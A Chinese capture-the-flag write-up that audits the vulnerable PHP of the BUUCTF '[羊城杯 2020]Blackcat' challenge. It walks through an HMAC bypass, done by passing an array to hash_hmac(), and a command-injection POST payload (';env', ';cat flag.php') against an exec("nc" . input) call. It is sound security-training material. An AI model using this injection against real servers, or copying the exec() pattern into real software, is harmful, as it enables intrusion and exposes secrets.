【BUUCTF】[羊城杯 2020]Blackcat1

打开题目页面如下

发现是一段音频,去看看源码,是一个压缩包,下载看看

得到这些文件,发现居然还给了个假的flag,源码在index. php中,下面进行代码审计

php 复制代码
<?php
// 检查 $_POST 数组中 'Black-Cat-Sheriff' 和 'One-ear' 这两个键对应的值是否为空
// empty() 函数用于检查一个变量是否为空,为空的情况包括变量未定义、值为 0、空字符串、空数组等
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    // 如果 'Black-Cat-Sheriff' 或 'One-ear' 为空,则输出错误信息并终止脚本执行
    die('谁!竟敢踩我一只耳的尾巴!');
}

// 使用 getenv() 函数获取名为 'clandestine' 的环境变量的值,并将其赋值给变量 $clandestine
// 环境变量通常用于存储系统或应用程序的配置信息
$clandestine = getenv("clandestine");

// 检查 $_POST 数组中是否存在 'White-cat-monitor' 这个键
if(isset($_POST['White-cat-monitor']))
    // 如果存在 'White-cat-monitor' 键,则使用 hash_hmac() 函数对其进行哈希处理
    // hash_hmac() 函数使用指定的哈希算法(这里是 'sha256')和密钥($clandestine)对数据进行哈希运算
    // 并将结果重新赋值给 $clandestine 变量
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);

// 使用 hash_hmac() 函数对 $_POST['One-ear'] 的值进行哈希处理,使用 $clandestine 作为密钥
// 并将哈希结果赋值给变量 $hh
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

// 比较 $hh(计算得到的哈希值)和 $_POST['Black-Cat-Sheriff'] 的值是否不相等
if($hh !== $_POST['Black-Cat-Sheriff']){
    // 如果不相等,则输出错误信息并终止脚本执行
    die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}

// 如果前面的条件都满足,说明验证通过
// 使用 exec() 函数执行系统命令,这里尝试执行 "nc" 命令并拼接上 $_POST['One-ear'] 的值
// 这意味着 $_POST['One-ear'] 的值会作为命令的一部分被执行,存在严重的安全风险
echo exec("nc".$_POST['One-ear']);
?>

着重看这几行

php 复制代码
// 使用 hash_hmac() 函数对 $_POST['One-ear'] 的值进行哈希处理,使用 $clandestine 作为密钥
// 并将哈希结果赋值给变量 $hh
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

// 比较 $hh(计算得到的哈希值)和 $_POST['Black-Cat-Sheriff'] 的值是否不相等

恕我小白,不太明白,去看了大佬的博客,链接如下

[羊城杯 2020]Blackcat_[羊城杯 2020]blackcat 1-CSDN博客

大佬的思路如下

php 复制代码
<?php
$clandestine = hash_hmac('sha256', array(), 123);
$hh = hash_hmac('sha256', ';cat flag.php', $clandestine);
echo $hh;

利用上面的PHP代码求出value

可以用php在线运行,在线工具,在线编译IDE_w3cschool这个工具运行PHP

得到

04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6

利用下面这exp求出Black-Cat-Sheriff的value

php 复制代码
<?php

var_dump(hash_hmac('sha256', ";env", NULL));

?>

得到

afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b

最后构造payload

White-cat-monitor[]=1&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env

最后利用hackbar插件,用post传参,故最终得到flag

相关推荐
码农12138号3 小时前
BUUCTF在线评测-练习场-WebCTF习题[GXYCTF2019]BabyUpload1-flag获取、解析
web安全·网络安全·文件上传漏洞·buuctf·解析漏洞
Johny_Zhao3 小时前
Docker + CentOS 部署 Zookeeper 集群 + Kubernetes Operator 自动化运维方案
linux·网络安全·docker·信息安全·zookeeper·kubernetes·云计算·系统运维
诗句藏于尽头4 小时前
完成ssl不安全警告
网络协议·安全·ssl
浪裡遊7 小时前
React Hooks全面解析:从基础到高级的实用指南
开发语言·前端·javascript·react.js·node.js·ecmascript·php
独行soc9 小时前
#渗透测试#批量漏洞挖掘#HSC Mailinspector 任意文件读取漏洞(CVE-2024-34470)
linux·科技·安全·网络安全·面试·渗透测试
Me4神秘10 小时前
Linux国产与国外进度对垒
linux·服务器·安全
Me4神秘11 小时前
电信、移动、联通、广电跨运营商网速慢原因
网络
老K(郭云开)11 小时前
谷歌浏览器安全输入控件-allWebSafeInput控件
安全
Whoisshutiao11 小时前
网安-XSS-pikachu
前端·安全·网络安全
数通Dinner12 小时前
RSTP 拓扑收敛机制
网络·网络协议·tcp/ip·算法·信息与通信